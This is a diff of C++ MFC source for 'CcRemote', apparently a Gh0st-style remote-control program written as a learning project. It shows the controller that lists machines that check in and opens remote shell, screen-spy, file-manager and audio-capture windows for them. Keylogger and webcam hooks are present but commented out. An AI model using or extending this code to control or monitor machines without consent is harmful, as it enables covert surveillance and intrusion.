|
||||
UINT uID; //显示图标的ID
|
||||
UINT uFlags; //托盘的状态 (如有图标,有气泡提示,有消息响应等)
|
||||
UINT uCallbackMessage; //托盘事件的消息响应函数
|
||||
HICON hIcon; //图标的变量
|
||||
TCHAR szTip[64]; //气泡的显示文字
|
||||
DWORD dwState; //图标的显示状态
|
||||
DWORD dwStateMask; //图标的显示状态
|
||||
TCHAR szInfo[256]; //气泡的显示文字 (可以忽略)
|
||||
union {
|
||||
UINT uTimeout;
|
||||
UINT uVersion;
|
||||
};
|
||||
TCHAR szInfoTitle[64];
|
||||
DWORD dwInfoFlags;
|
||||
GUID guidItem;
|
||||
HICON hBalloonIcon;
|
||||
} NOTIFYICONDATA, *PNOTIFYICONDATA;
|
||||
|
||||
*/
|
||||
nid.cbSize = sizeof(nid); //大小赋值
|
||||
nid.hWnd = m_hWnd; //父窗口
|
||||
nid.uID = IDR_MAINFRAME; //icon ID
|
||||
nid.uFlags = NIF_MESSAGE | NIF_ICON | NIF_TIP; //托盘所拥有的状态
|
||||
nid.uCallbackMessage = UM_ICONNOTIFY; //回调消息
|
||||
nid.hIcon = m_hIcon; //icon 变量
|
||||
CString str = "CcRemote远程协助软件"; //气泡提示
|
||||
lstrcpyn(nid.szTip, (LPCSTR)str, sizeof(nid.szTip) / sizeof(nid.szTip[0]));
|
||||
Shell_NotifyIcon(NIM_ADD, &nid); //显示托盘
|
||||
}
|
||||
|
||||
void CCcRemoteDlg::OnClose()
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
Shell_NotifyIcon(NIM_DELETE, &nid); //销毁图标
|
||||
m_CList_Message.SetBkImage("relese", TRUE);
|
||||
m_CList_Online.SetBkImage("relese", TRUE);
|
||||
CDialogEx::OnClose();
|
||||
}
|
||||
|
||||
|
||||
//托盘图标回调函数
|
||||
void CCcRemoteDlg::OnIconNotify(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
switch ((UINT)lParam)
|
||||
{
|
||||
case WM_LBUTTONDOWN: // click or dbclick left button on icon
|
||||
case WM_LBUTTONDBLCLK: // should show desktop
|
||||
if (!IsWindowVisible())
|
||||
ShowWindow(SW_SHOW);
|
||||
else
|
||||
ShowWindow(SW_HIDE);
|
||||
break;
|
||||
case WM_RBUTTONDOWN: // click right button, show menu
|
||||
CMenu menu;
|
||||
menu.LoadMenu(IDR_MENU_NOTIFY);
|
||||
CPoint point;
|
||||
GetCursorPos(&point);
|
||||
SetForegroundWindow();
|
||||
menu.GetSubMenu(0)->TrackPopupMenu(
|
||||
TPM_LEFTBUTTON | TPM_RIGHTBUTTON,
|
||||
point.x, point.y, this, NULL);
|
||||
PostMessage(WM_USER, 0, 0);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
void CCcRemoteDlg::ListenPort()
|
||||
{
|
||||
int nPort = ((CCcRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "ListenPort"); //读取ini 文件中的监听端口
|
||||
int nMaxConnection = ((CCcRemoteApp*)AfxGetApp())->m_IniFile.GetInt("Settings", "MaxConnection"); //读取最大连接数
|
||||
if (nPort == 0)
|
||||
nPort = 80;
|
||||
if (nMaxConnection == 0)
|
||||
nMaxConnection = 10000;
|
||||
Activate(nPort, nMaxConnection); //开始监听
|
||||
}
|
||||
|
||||
//控制命令都要经过这个函数
|
||||
void CCcRemoteDlg::ProcessReceiveComplete(ClientContext *pContext)
|
||||
{
|
||||
if (pContext == NULL)
|
||||
return;
|
||||
|
||||
// 如果管理对话框打开,交给相应的对话框处理
|
||||
CDialog *dlg = (CDialog *)pContext->m_Dialog[1]; //这里就是ClientContext 结构体的int m_Dialog[2];
|
||||
|
||||
// 交给窗口处理
|
||||
if (pContext->m_Dialog[0] > 0) //这里查看是否给他赋值了,如果赋值了就把数据传给功能窗口处理
|
||||
{
|
||||
switch (pContext->m_Dialog[0])
|
||||
{
|
||||
case FILEMANAGER_DLG:
|
||||
((CFileManagerDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case SCREENSPY_DLG:
|
||||
((CScreenSpyDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
//case WEBCAM_DLG:
|
||||
// ((CWebCamDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
case AUDIO_DLG:
|
||||
((CAudioDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
//case KEYBOARD_DLG:
|
||||
// ((CKeyBoardDlg *)dlg)->OnReceiveComplete();
|
||||
// break;
|
||||
case SYSTEM_DLG:
|
||||
((CSystemDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
case SHELL_DLG:
|
||||
((CShellDlg *)dlg)->OnReceiveComplete();
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
return;
|
||||
}
|
||||
|
||||
switch (pContext->m_DeCompressionBuffer.GetBuffer(0)[0]) //如果没有赋值就判断是否是上线包和打开功能功能窗口
|
||||
{ //讲解后回到ClientContext结构体
|
||||
/*case TOKEN_AUTH: // 要求验证
|
||||
m_iocpServer->Send(pContext, (PBYTE)m_PassWord.GetBuffer(0), m_PassWord.GetLength() + 1);
|
||||
break;
|
||||
case TOKEN_HEARTBEAT: // 回复心跳包
|
||||
{
|
||||
BYTE bToken = COMMAND_REPLAY_HEARTBEAT;
|
||||
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
break;*/
|
||||
case TOKEN_LOGIN: // 上线包
|
||||
|
||||
{
|
||||
//这里处理上线
|
||||
if (m_iocpServer->m_nMaxConnections <= g_pCcRemoteDlg->m_CList_Online.GetItemCount())
|
||||
{
|
||||
closesocket(pContext->m_Socket);
|
||||
}
|
||||
else
|
||||
{
|
||||
pContext->m_bIsMainSocket = true;
|
||||
g_pCcRemoteDlg->PostMessage(WM_ADDTOLIST, 0, (LPARAM)pContext);
|
||||
}
|
||||
// 激活
|
||||
BYTE bToken = COMMAND_ACTIVED;
|
||||
m_iocpServer->Send(pContext, (LPBYTE)&bToken, sizeof(bToken));
|
||||
}
|
||||
|
||||
break;
|
||||
/*
|
||||
case TOKEN_WEBCAM_BITMAPINFO: // 摄像头
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENWEBCAMDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_KEYBOARD_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENKEYBOARDDIALOG, 0, (LPARAM)pContext);
|
||||
break;*/
|
||||
case TOKEN_AUDIO_START: // 语音
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENAUDIODIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_DRIVE_LIST: // 驱动器列表
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事,太菜
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENMANAGERDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_BITMAPINFO: //
|
||||
// 指接调用public函数非模态对话框会失去反应, 不知道怎么回事
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSCREENSPYDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
//进程遍历和窗口遍历公用的一个窗口类,在构造判断判断下类型来显示不同的数据
|
||||
case TOKEN_WSLIST:
|
||||
case TOKEN_PSLIST:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENPSLISTDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
case TOKEN_SHELL_START:
|
||||
g_pCcRemoteDlg->PostMessage(WM_OPENSHELLDIALOG, 0, (LPARAM)pContext);
|
||||
break;
|
||||
// 命令停止当前操作
|
||||
default:
|
||||
closesocket(pContext->m_Socket);
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
LRESULT CCcRemoteDlg::OnAddToList(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CString strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing;
|
||||
|
||||
//注意这里的 ClientContext 正是发送数据时从列表里取出的数据
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
if (pContext == NULL)
|
||||
return -1;
|
||||
|
||||
CString strToolTipsText;
|
||||
try
|
||||
{
|
||||
//int nCnt = m_pListCtrl->GetItemCount();
|
||||
|
||||
// 不合法的数据包
|
||||
if (pContext->m_DeCompressionBuffer.GetBufferLen() != sizeof(LOGININFO))
|
||||
return -1;
|
||||
|
||||
LOGININFO* LoginInfo = (LOGININFO*)pContext->m_DeCompressionBuffer.GetBuffer();
|
||||
|
||||
// ID
|
||||
//CString str;
|
||||
//str.Format("%d", m_nCount++);
|
||||
|
||||
// IP地址
|
||||
//int i = m_pListCtrl->InsertItem(nCnt, str, 15);
|
||||
|
||||
// 外网IP
|
||||
|
||||
sockaddr_in sockAddr;
|
||||
memset(&sockAddr, 0, sizeof(sockAddr));
|
||||
int nSockAddrLen = sizeof(sockAddr);
|
||||
BOOL bResult = getpeername(pContext->m_Socket, (SOCKADDR*)&sockAddr, &nSockAddrLen);
|
||||
CString IPAddress = bResult != INVALID_SOCKET ? inet_ntoa(sockAddr.sin_addr) : "";
|
||||
//m_pListCtrl->SetItemText(i, 1, IPAddress);
|
||||
strIP = IPAddress;
|
||||
|
||||
// 内网IP
|
||||
//m_pListCtrl->SetItemText(i, 2, inet_ntoa(LoginInfo->IPAddress));
|
||||
//strAddr=inet_ntoa(LoginInfo->IPAddress);
|
||||
// 主机名
|
||||
//m_pListCtrl->SetItemText(i, 3, LoginInfo->HostName);
|
||||
strPCName = LoginInfo->HostName;
|
||||
// 系统
|
||||
|
||||
////////////////////////////////////////////////////////////////////////////////////////
|
||||
// 显示输出信息
|
||||
char *pszOS = NULL;
|
||||
switch (LoginInfo->OsVerInfoEx.dwPlatformId)
|
||||
{
|
||||
|
||||
case VER_PLATFORM_WIN32_NT:
|
||||
if (LoginInfo->OsVerInfoEx.dwMajorVersion <= 4)
|
||||
pszOS = "NT";
|
||||
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0)
|
||||
pszOS = "2000";
|
||||
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 1)
|
||||
pszOS = "XP";
|
||||
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 5 && LoginInfo->OsVerInfoEx.dwMinorVersion == 2)
|
||||
pszOS = "2003";
|
||||
if (LoginInfo->OsVerInfoEx.dwMajorVersion == 6 && LoginInfo->OsVerInfoEx.dwMinorVersion == 0)
|
||||
pszOS = "Vista"; // Just Joking
|
||||
}
|
||||
strOS.Format
|
||||
(
|
||||
"%s SP%d (Build %d)",
|
||||
//OsVerInfo.szCSDVersion,
|
||||
pszOS,
|
||||
LoginInfo->OsVerInfoEx.wServicePackMajor,
|
||||
LoginInfo->OsVerInfoEx.dwBuildNumber
|
||||
);
|
||||
//m_pListCtrl->SetItemText(i, 4, strOS);
|
||||
|
||||
// CPU
|
||||
strCPU.Format("%dMHz", LoginInfo->CPUClockMhz);
|
||||
//m_pListCtrl->SetItemText(i, 5, str);
|
||||
|
||||
// Speed
|
||||
strPing.Format("%d", LoginInfo->dwSpeed);
|
||||
//m_pListCtrl->SetItemText(i, 6, str);
|
||||
|
||||
|
||||
strVideo = LoginInfo->bIsWebCam ? "有" : "--";
|
||||
//m_pListCtrl->SetItemText(i, 7, str);
|
||||
|
||||
strToolTipsText.Format("New Connection Information:\nHost: %s\nIP : %s\nOS : Windows %s", LoginInfo->HostName, IPAddress, strOS);
|
||||
|
||||
if (((CCcRemoteApp *)AfxGetApp())->m_bIsQQwryExist)
|
||||
{
|
||||
|
||||
strAddr = m_QQwry->IPtoAdd(IPAddress);
|
||||
|
||||
//strToolTipsText += "\nArea: ";
|
||||
//strToolTipsText += str;
|
||||
}
|
||||
// 指定唯一标识
|
||||
//m_pListCtrl->SetItemData(i, (DWORD) pContext); //这里将服务端的套接字等信息加入列表中保存
|
||||
AddList(strIP, strAddr, strPCName, strOS, strCPU, strVideo, strPing, pContext);
|
||||
}
|
||||
catch (...) {}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CCcRemoteDlg::SendSelectCommand(PBYTE pData, UINT nSize)
|
||||
{
|
||||
// TODO: 在此处添加实现代码
|
||||
//取得选中的哪一个服务端list位置
|
||||
POSITION pos = m_CList_Online.GetFirstSelectedItemPosition(); //iterator for the CListCtrl
|
||||
while (pos) //so long as we have a valid POSITION, we keep iterating
|
||||
{
|
||||
int nItem = m_CList_Online.GetNextSelectedItem(pos);
|
||||
|
||||
//从列表条目中取出ClientContext结构体
|
||||
//上线的时候传进的一个ClientContext值
|
||||
ClientContext* pContext = (ClientContext*)m_CList_Online.GetItemData(nItem);
|
||||
// 发送获得驱动器列表数据包
|
||||
m_iocpServer->Send(pContext, pData, nSize); //调用 m_iocpServer 的Send 函数发送数据 查看m_iocpServer 定义
|
||||
|
||||
//Save the pointer to the new item in our CList
|
||||
} //EO while(pos) -- at this point we have deleted the moving items and stored them in memoryt .
|
||||
}
|
||||
|
||||
|
||||
//打开终端管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenShellDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
//这里定义远程终端的对话框,转到远程终端的CShellDlg类的定义 先查看对话框界面后转到OnInitDialog
|
||||
CShellDlg *dlg = new CShellDlg(this, m_iocpServer, pContext);
|
||||
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SHELL, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = SHELL_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
|
||||
//打开进程管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenSystemDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CSystemDlg *dlg = new CSystemDlg(this, m_iocpServer, pContext); //动态创建CSystemDlg
|
||||
|
||||
// 设置父窗口为卓面
|
||||
dlg->Create(IDD_SYSTEM, GetDesktopWindow()); //创建对话框
|
||||
dlg->ShowWindow(SW_SHOW); //显示对话框
|
||||
|
||||
pContext->m_Dialog[0] = SYSTEM_DLG; //这个值用做服务端再次发送数据时的标识
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
//先看一下这个对话框的界面再看这个对话框类的构造函数
|
||||
return 0;
|
||||
}
|
||||
|
||||
//自定义消息 打开屏幕监控窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
|
||||
CScreenSpyDlg *dlg = new CScreenSpyDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_SCREENSPY, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = SCREENSPY_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
|
||||
//打开文件管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenManagerDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
|
||||
//转到CFileManagerDlg 构造函数
|
||||
CFileManagerDlg *dlg = new CFileManagerDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为桌面
|
||||
dlg->Create(IDD_FILE, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
|
||||
pContext->m_Dialog[0] = FILEMANAGER_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
//音频管理窗口
|
||||
LRESULT CCcRemoteDlg::OnOpenAudioDialog(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
ClientContext *pContext = (ClientContext *)lParam;
|
||||
CAudioDlg *dlg = new CAudioDlg(this, m_iocpServer, pContext);
|
||||
// 设置父窗口为卓面
|
||||
dlg->Create(IDD_AUDIO, GetDesktopWindow());
|
||||
dlg->ShowWindow(SW_SHOW);
|
||||
pContext->m_Dialog[0] = AUDIO_DLG;
|
||||
pContext->m_Dialog[1] = (int)dlg;
|
||||
return 0;
|
||||
}
|
||||
|
||||
|
||||
//绘制背景图片
|
||||
BOOL CCcRemoteDlg::OnEraseBkgnd(CDC* pDC)
|
||||
{
|
||||
// TODO: 在此添加消息处理程序代码和/或调用默认值
|
||||
//CDC MemDC; MemDC.CreateCompatibleDC(pDC);
|
||||
//CBitmap Cbp;
|
||||
//Cbp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
|
||||
//MemDC.SelectObject(&Cbp);
|
||||
//BITMAP Bp;
|
||||
//Cbp.GetBitmap(&Bp);
|
||||
//CRect rect;
|
||||
//GetClientRect(&rect);
|
||||
//pDC->StretchBlt(0, 0, rect.Width(), rect.Height(), &MemDC, 0, 0, Bp.bmWidth, Bp.bmHeight, SRCCOPY);
|
||||
//MemDC.DeleteDC();
|
||||
|
||||
return TRUE;
|
||||
return CDialogEx::OnEraseBkgnd(pDC);
|
||||
}
|
||||
|
||||
|
||||
HBRUSH CCcRemoteDlg::OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor)
|
||||
{
|
||||
HBRUSH hbr = CDialogEx::OnCtlColor(pDC, pWnd, nCtlColor);
|
||||
|
||||
// TODO: 在此更改 DC 的任何特性
|
||||
//switch (pWnd->GetDlgCtrlID()) {
|
||||
////case IDC_STATIC_NAME:
|
||||
////case IDC_STATIC_ID:
|
||||
////case IDC_STATIC_PW:
|
||||
//// pDC->SetBkMode(TRANSPARENT);
|
||||
//// pDC->SetTextColor(RGB(0, 255, 0));
|
||||
//// hbr = (HBRUSH)GetStockObject(NULL_BRUSH);//空画刷,不加此句会有阴影
|
||||
//// break;
|
||||
//case IDR_TOOLBAR_MAIN:
|
||||
// CWnd* pd;
|
||||
// CRect rc;
|
||||
// if (pWnd->GetDlgCtrlID() == IDR_TOOLBAR_MAIN)
|
||||
// pd = (CWnd*)GetDlgItem(IDR_TOOLBAR_MAIN);
|
||||
// pd->GetClientRect(&rc);
|
||||
// ScreenToClient(&rc);
|
||||
// pDC->SetBkMode(TRANSPARENT);
|
||||
// pDC->SetTextColor(RGB(255, 0, 0));
|
||||
// CBitmap bmp;
|
||||
// bmp.LoadBitmap(IDB_BACKGROUND_CCREMOTE);
|
||||
// CBrush brush(&bmp);
|
||||
// CBrush* pOldBrush = (CBrush*)pDC->SelectObject(&brush);
|
||||
// pDC->FillRect(&rc, &brush);
|
||||
// hbr = (HBRUSH)brush;
|
||||
// break;
|
||||
//}
|
||||
|
||||
// TODO: 如果默认的不是所需画笔,则返回另一个画笔
|
||||
return hbr;
|
||||
}
|
||||
|
||||
@@ -1,7 +1,15 @@
|
||||
|
||||
// CcRemoteDlg.h: 头文件
|
||||
//
|
||||
#include "TrueColorToolBar.h"
|
||||
#include "PublicStruct.h"
|
||||
#include "include/IOCPServer.h"
|
||||
#include "SEU_QQwry.h"
|
||||
#include "CShellDlg.h"
|
||||
#include "CSystemDlg.h"
|
||||
#include "CScreenSpyDlg.h"
|
||||
#include "CFileManagerDlg.h"
|
||||
#include "CAudioDlg.h"
|
||||
#pragma once
|
||||
|
||||
|
||||
@@ -32,13 +40,21 @@ protected:
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
CStatusBar m_wndStatusBar;//状态控件
|
||||
CListCtrl m_CList_Online;//在线列表变量
|
||||
CListCtrl m_CList_Message;//消息列表变量
|
||||
CTrueColorToolBar m_ToolBar;//工具条按钮控件变量
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
|
||||
|
||||
private:
|
||||
//--------------主界面列表的显示变量及常量----------------
|
||||
//--------------变量及常量----------------
|
||||
SEU_QQwry *m_QQwry; //识别IP区域
|
||||
int m_OnlineCount;//上线计数
|
||||
CBrush m_brush;//绘色函数
|
||||
CMenu popup;//LIST菜单变量
|
||||
NOTIFYICONDATA nid;//含有图标 消息响应 的一个结构体 用于系统托盘
|
||||
|
||||
#define COLUMN_ONLINE_COUNT 7 //在线列表的个数
|
||||
#define COLUMN_MESSAGE_COUNT 3 //消息列表的个数
|
||||
int m_Column_Online_Width = 0; //在线列表宽度和
|
||||
@@ -62,12 +78,54 @@ private:
|
||||
{"信息内容", 660 }
|
||||
};
|
||||
|
||||
|
||||
|
||||
//-----------------------函数-----------------------
|
||||
int InitList();//初始化list控件信息
|
||||
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing);
|
||||
void ShowMessage(bool bIsOK, CString strMsg);
|
||||
int InitMyMenu();//初始化主页面上方菜单
|
||||
void InitStatusBar();//初始化状态控件
|
||||
void InitToolBar();//初始化工具条按钮控件
|
||||
void InitSystemMenu();//初始化系统托盘菜单
|
||||
void AddList(CString strIP, CString strAddr, CString strPCName, CString strOS, CString strCPU, CString strVideo, CString strPing, ClientContext*pContext);
|
||||
void ShowMessage(bool bIsOK, CString strMsg);//显示日志
|
||||
void Test();
|
||||
|
||||
void ListenPort();
|
||||
|
||||
static void CALLBACK NotifyProc(LPVOID lpParam, ClientContext* pContext, UINT nCode);
|
||||
void Activate(UINT nPort, UINT nMaxConnections);//监听端口
|
||||
|
||||
static void ProcessReceiveComplete(ClientContext *pContext);
|
||||
public:
|
||||
//-------------自定义消息处理-------------
|
||||
afx_msg void OnIconNotify(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnAddToList(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenShellDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenSystemDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenManagerDialog(WPARAM, LPARAM);
|
||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM, LPARAM);
|
||||
|
||||
//-------------系统消息处理-------------
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOnlineAudio();
|
||||
afx_msg void OnOnlineCmd();
|
||||
afx_msg void OnOnlineDesktop();
|
||||
afx_msg void OnOnlineFile();
|
||||
afx_msg void OnOnlineProcess();
|
||||
afx_msg void OnOnlineRegist();
|
||||
afx_msg void OnOnlineServer();
|
||||
afx_msg void OnOnlineVideo();
|
||||
afx_msg void OnOnlineWindow();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnMainSet();
|
||||
afx_msg void OnMainClose();
|
||||
afx_msg void OnMainBuild();
|
||||
afx_msg void OnMainAbout();
|
||||
afx_msg void OnClose();
|
||||
private:
|
||||
void SendSelectCommand(PBYTE pData, UINT nSize);
|
||||
public:
|
||||
afx_msg BOOL OnEraseBkgnd(CDC* pDC);
|
||||
afx_msg HBRUSH OnCtlColor(CDC* pDC, CWnd* pWnd, UINT nCtlColor);
|
||||
};
|
||||
|
||||
35
CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
Normal file
35
CcRemote/CcRemote/Debug/CcRemote.Build.CppClean.log
Normal file
@@ -0,0 +1,35 @@
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.pch
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\vc141.idb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\pch.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\audio.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\truecolortoolbar.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\seu_qqwry.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inputdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\inifile.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cpuusage.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csystemdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cshelldlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\csettingdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cscreenspydlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\filetransfermodedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\cfilemanagerdlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremotedlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\caudiodlg.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\iocpserver.obj
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\buffer.obj
|
||||
g:\ccremote\ccremote\bin\ccremote.ilk
|
||||
g:\ccremote\ccremote\bin\ccremote.exe
|
||||
g:\ccremote\ccremote\bin\ccremote.pdb
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\cl.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\link.write.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.command.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.read.1.tlog
|
||||
g:\ccremote\ccremote\ccremote\ccremote\debug\ccremote.tlog\rc.write.1.tlog
|
||||
@@ -1,7 +1,5 @@
|
||||
pch.cpp
|
||||
CcRemote.cpp
|
||||
CcRemoteDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(195): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(212): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
正在生成代码...
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\Debug\CcRemote.exe
|
||||
G:\VS2017\Common7\IDE\VC\VCTargets\Microsoft.CppBuild.targets(377,5): warning MSB8004: Output 目录未以斜杠结尾。 此生成实例将添加斜杠,因为必须有这个斜杠才能正确计算 Output 目录。
|
||||
CAudioDlg.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\caudiodlg.cpp(29): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
||||
Binary file not shown.
63
CcRemote/CcRemote/FileTransferModeDlg.cpp
Normal file
63
CcRemote/CcRemote/FileTransferModeDlg.cpp
Normal file
@@ -0,0 +1,63 @@
|
||||
// CInputDlg.cpp: 实现文件
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "FileTransferModeDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CFileTransferModeDlg 对话框
|
||||
|
||||
IMPLEMENT_DYNAMIC(CFileTransferModeDlg, CDialog)
|
||||
|
||||
CFileTransferModeDlg::CFileTransferModeDlg(CWnd* pParent /*=nullptr*/)
|
||||
: CDialog(IDD_TRANSFERMODE_DLG, pParent)
|
||||
{
|
||||
|
||||
}
|
||||
|
||||
CFileTransferModeDlg::~CFileTransferModeDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CFileTransferModeDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CFileTransferModeDlg, CDialog)
|
||||
ON_CONTROL_RANGE(BN_CLICKED, IDC_OVERWRITE, IDC_CANCEL, OnEndDialog)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CFileTransferModeDlg 消息处理程序
|
||||
|
||||
|
||||
BOOL CFileTransferModeDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: 在此添加额外的初始化
|
||||
CString str;
|
||||
str.Format("此文件夹已包含一个名为“%s”的文件", m_strFileName);
|
||||
|
||||
for (int i = 0; i < str.GetLength(); i += 120)
|
||||
{
|
||||
str.Insert(i, "\n");
|
||||
i += 1;
|
||||
}
|
||||
|
||||
SetDlgItemText(IDC_TIPS, str);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
